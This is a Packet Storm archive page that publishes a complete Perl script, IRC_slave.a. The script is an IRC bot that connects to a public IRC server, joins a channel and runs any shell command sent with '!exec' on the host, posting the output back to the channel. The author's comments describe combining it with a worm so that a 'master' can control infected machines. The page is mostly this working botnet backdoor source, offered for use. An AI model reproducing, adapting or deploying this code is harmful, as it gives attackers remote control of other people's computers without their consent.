what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IRC_slave.a.txt

IRC_slave.a.txt
Posted Mar 21, 2006
Authored by saic | Site saic.sapht.com

IRC_slave.a is a perl script designed to listen on a specified IRC channel and execute commands on the host running the script.

tags | perl
SHA-256 | 53d088089b935357d79526fc69ee0901b9009d69abfe8823e2ab2313466dd941

IRC_slave.a.txt

Change Mirror Download
#!/usr/bin/perl
# IRC_slave.a coded by saic
#
# IRC_slave can be a very powerful script if it's combined with a
# worm such as Perl.Santy giving the master an enviornment to work
# with. This code allows you, as the user, to execute commands on
# the host running the script. The only commands added in the public
# release are !disconnect (which disconnects the slave - duh) and !exec
# (which executes commands on the host running on the script).
#
# The public release of IRC_slave.a is FULLY under the GNU GPL. It wasn't
# an accident that license.txt was added to the same directory. If you
# want to link, publish or even modify this coding at least ADMIT that
# you did not write it. Lovemail can be sent to introop at gmail dot com.

use IO::Socket;

#######################
# CONNECTION SETTINGS #
#######################

$nickname = 'Shell';
$channel = 'channel';
$server = 'irc.quakenet.org';
$port = '6667';

######################
# RANDOMIZE NICKNAME #
######################

$lower = 0;
$upper = 9999;
$random = int(rand( $upper-$lower+1 ) ) + $lower;

my $IRC_nickname = "$nickname$random";

##############
# CONNECTION #
##############

$sock = IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => $port,
Proto => 'tcp' ) or die "could not make the connection";

while ($line = <$sock>) {
print $line;
if ($line =~ /(NOTICE AUTH).*(checking ident)/i) {
print $sock "NICK $IRC_nickname$random\nUSER $IRC_nickname 0 0 :$IRC_nickname\n";
last;
}
}

while($line = <$sock>){
print $line;
if($line =~ /^PING/){
print $sock "PONG :" . (split(/ :/, $line))[1];
}
if($line =~ /(376|422)/i){
print $sock "NICKSERV :identify nick_password\n";
last;
}
}

sleep 3;
print $sock "JOIN #$channel\n";

while ($line = <$sock>) {
($command, $text) = split(/ :/, $line);
if ($command eq 'PING') {
while ( (index($text,"\r") >= 0) || (index($text,"\n") >= 0) ) {
chop($text);
}
print $sock "PONG $text\n";
next;
}
($nick,$type,$channel) = split(/ /, $line);
($nick,$hostname) = split(/!/, $nick);
$nick =~ s/://;
$text =~ s/://;
$/ = "\r\n";
while ($text =~ m#$/$#) {
chomp($text);
}

#####################
# DISCONNECTING BOT #
#####################
# Usage: !disconnect bot_nickname

if ($text =~ /!disconnect $IRC_nickname/gi) {
print $sock "QUIT\n";
}

#####################
# COMMAND EXECUTION #
#####################
# Usage: !exec command
# This will kill the bot if the output is large, but I'm not fixing
# it in the public release.

if ($text =~ /!exec/gi) {
$text =~ s/!exec//g;
my $exec_output;
$exec_output = readpipe "$text";
print $sock "PRIVMSG $channel :$exec_output\r\n";
}
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close